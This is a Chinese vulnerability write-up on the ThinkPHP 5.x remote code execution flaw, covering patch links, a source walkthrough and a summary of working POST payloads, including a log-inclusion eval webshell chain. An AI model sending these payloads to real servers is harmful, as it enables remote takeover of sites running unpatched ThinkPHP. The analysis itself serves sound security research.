ThinkPHP 5.x RCE 漏洞分析与利用总结
近日ThinkPHP出现由于变量覆盖而引起的RCE,其漏洞根本源于thinkphp/library/think/Request.php
中method方法可以进行变量覆盖,通过覆盖类的核心属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分原因,在利用上会出现一些问题。
例如:
1、大部分payload进入最后rce的函数是调用了call_user_func,其可控的也只有一个参数,并且还不能为数组。
2、另外在php7中assert不能使用,或者命令函数被禁用。
接下来将为大家进行漏洞分析以及对各个版本、场景下的利用进行详细的总结。
漏洞范围: <= 5.0.23、<= 5.1.32
5.0.x补丁:
https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003
5.1.x补丁:
https://github.com/top-think/framework/commit/2454cebcdb6c12b352ac0acd4a4e6b25b31982e6
Payload总结
1、<= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system
2、<= 5.0.23、5.1.0 <= 5.1.16
- 开启debug()
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
3、<= 5.0.23
需要captcha的method路由,如果存在其他method路由,也是可以将captcha换为其他。
POST /?s=captcha HTTP/1.1
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami&method=get
4、5.0.0 <= version <= 5.1.32
- error_reporting(0)关闭报错
POST /
c=exec&f=calc.exe&_method=filter
5.0.0 <= ThinkPHP5 <= 5.1.17
在thinkphp/library/think/Request.php
中的$this->{$this->method}($_POST);
,其中$this->method
是可以通过post方式控制,其传入的参数是Config::get('var_method')
,默认值为_method
,这样将导致我们可以调用Request里面的方法。
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}
Request里面有很多方法,比如__construct
里面就会初始化一些值,通过前面method的调用,即我们可以通过$_POST
数据来覆盖Request类中的属性。
protected function __construct($options = []){
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}
// 保存 php://input
$this->input = file_get_contents('php://input');
}
Request属性里面有一些可利用点,比如filter,他用于处理数据。但如果能够变量覆盖后,我们就可以将它变为威胁函数system、assert,一旦经过这些函数处理,便会导致RCE。
ThinkPHP <= 5.0.12
以5.0.10作为分析:
POST /?s=index/index
sa=whoami&_method=__construct&method=&filter[]=system
ThinkPHP之前没做默认filter,即覆盖了filter就会到后面将每个参数值都处理一次,所以sa
参数可以为任意,比如发现者的payload写的为s
。
其最后进入filter调用栈为如下:
可以看到当前请求覆盖了filter为system,最后处理到键值为sa
的数据包的时候执行了system('whoami')
从而执行了命令。
5.0.13 < ThinkPHP <= 5.1.17
以5.0.23作为分析
这里有一个注意点,在5.0.12之后上面payload则不行,原因在于:
其中第一次加载默认filter位置: thinkphp/library/think/App.php
$request->filter($config['default_filter']);
在覆盖的时候可以看到,默认default_filter是为空字符串,所以最后便是进入了$this->filter = $filter
导致system
值变为空。
public function filter($filter = null){
if (is_null($filter)) {
return $this->filter;
} else {
$this->filter = $filter;
}
}
接下来就是我们进入了路由check,从而覆盖filter
的值为system
覆盖完毕后,最后App::exec
方法调用public static function module($result, $config, $convert = null)
还会这样加载一次默认filter,导致之前覆盖的filter失效,从而失败。
这个时候的可以回过头来看看整个流程,寻找更多的攻击点。
第一步: 看下ThinkPHP执行流程,从最一开始的
// 1. 加载基础文件
require __DIR__ . '/base.php';
// 2. 执行应用
App::run()->send();
再跟入App:run()
方法,因为上面5.0.10
payload失效就是因为在App::exec
处进入了module
调用,所以如果在此之前调用到filter也可以完成攻击。
第二步: 回顾上面5.0.10
分析,主要思路是为了利用filter,最后filter利用执行命令是Request::input() -> Request::filterValue()
,再往上看还有Request::param()
、bindParams
,所以可以用正则找找其它Requests被调用的位置,例如->param\(|::param\(
、->input\(|::input\(
1、debug攻击向量payload
这里就可以找到第一个攻击向量,需要开启debug。
可以看到上代码,首先是在$dispatch = self::routeCheck($request, $config);
处覆盖了filter为system,然后进入了debug里面的$request->param()
。这也就是为什么任意模块都可以,因为它没有进入后面的exec
流程,可以用下面payload测试一下。
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
可以看到这个调用过程是param -> method -> server -> input -> filterValue
,这里也不需要去覆盖method。
2、exec
在更早的版本失效的payload是因为module
里面会重新覆盖filter,那就可以选择一下其他的dispatch
,比如method
最后进入了param
。
POST /?s=captcha HTTP/1.1
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami&method=get
这里需要了解一下ThinkPHP中路由地址几种定义
定义方式 | 定义格式 |
---|---|
路由到模块/控制器 | '[模块/控制器/操作]?额外参数1=值1&额外参数2=值2...' |
路由到重定向地址 | '外部地址'(默认301重定向) 或者 ['外部地址','重定向代码'] |
路由到控制器的方法 | '@[模块/控制器/]操作' |
路由到类的方法 | '\完整的命名空间类::静态方法' 或者 '\完整的命名空间类@动态方法' |
路由到闭包函数 | 闭包函数定义(支持参数传入) |
可以跟进vendor/topthink/think-captcha/src/helper.php:11
中看到\think\Route::get('captcha/[:id]', "\\think\\captcha\\CaptchaController@index");
,完整版的ThinkPHP中提供了一个验证码的功能,其方式就是路由到类的方法,这里用了一个自动类加载机制,将vendor目录下的文件加载了。
如果想要进入Captcha
的路由到类的方法中: 其中rules定义了Captcha是为get方式请求,可以看到是进入$request->method()
获取method。Request::mehotd()
是可以进行遍历覆盖,所以可以让method变为get方式,这样就能够获得到Captcha的rules。
5.1.17 <= ThinkPHP5 >= 5.1.32
以ThinkPHP 5.1.17作为分析
再次翻到thinkphp/library/think/Request.php
中的method方法可以看到,在5.1.16之后$this->{$this->method}($_POST);
被改为$this->{$method} = $_POST;
这个payload是通版本payload,可以打5.0.x、5.1.x,原因在最后解释,但是由于需要加上error_reporting,有点可惜。
POST /
c=exec&f=calc.exe&_method=filter
这里有一个问题,首先通过$requests->method()
覆盖完method后,返回的为filter
,之后进入getMethodRules函数
getMethodRules函数便是$this->rules[$method]
与$this->rules['*']
进行合并,这时候由于在rules数组没有filter
这个键名导致报错,以至即使覆盖了filter也是没有办法执行到。
protected function getMethodRules($method){
return array_merge($this->rules[$method], $this->rules['*']);
}
所以需要在index.php文件中添加一个error_reporting(0);
,常常开发者为了方便会直接在类似此处地方加上忽略报错。
之前看exp一直好奇为什么会存在c=exec&f=calc.exe
,现在回过头来研究。
1、首先是进入method,$this->filter = $_POST
,这个时候filter就是c=exec&f=calc.exe&_method=filter
public function method($origin = false){
if ($origin) {
....
} elseif (!$this->method) {
if (isset($_POST[$this->config['var_method']])) {
$this->method = strtoupper($_POST[$this->config['var_method']]);
$method = strtolower($this->method);
$this->{$method} = $_POST;
}
...
}
return $this->method;
}
2、Request::getFilter()
函数是将c=exec&f=calc.exe&_method=filter
这个作为数组全部获取
3、exploit
最后攻击的时候,可以看到filter和data数据都是c=exec&f=calc.exe&_method=filter
然后便是利用一个个filter对值进行处理,也就是调用了call_user_func
执行了exec(calc.exe)
可以回顾看看: 最后的触发还是经过 Request::param() -> Request::input() -> Request::filterValue()
为什么这个payload可以打5.0.x版本?
因为Request类里面也有filter方法,总的下来,$this->{$this->method}($_POST);
也就被转化为$this->{$method} = $_POST;
public function filter($filter = null){
if (is_null($filter)) {
xxx;
} else {
$this->filter = $filter;
}
}
Exploit填坑
对于call_user_func的利用,在php7之后,由于框架更多的是类,其静态方法的存在有限。
1、转为反序列化漏洞
unserialize只需要一个字符串型参数,但是这样利用下来就是又绕了一大圈,不过对于框架来说,其中的可利用类相对较为丰富,也不失为最后的保底。
2、利用变量覆盖,覆盖全局变量,再做突破口
parse_str、extract
3、include
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();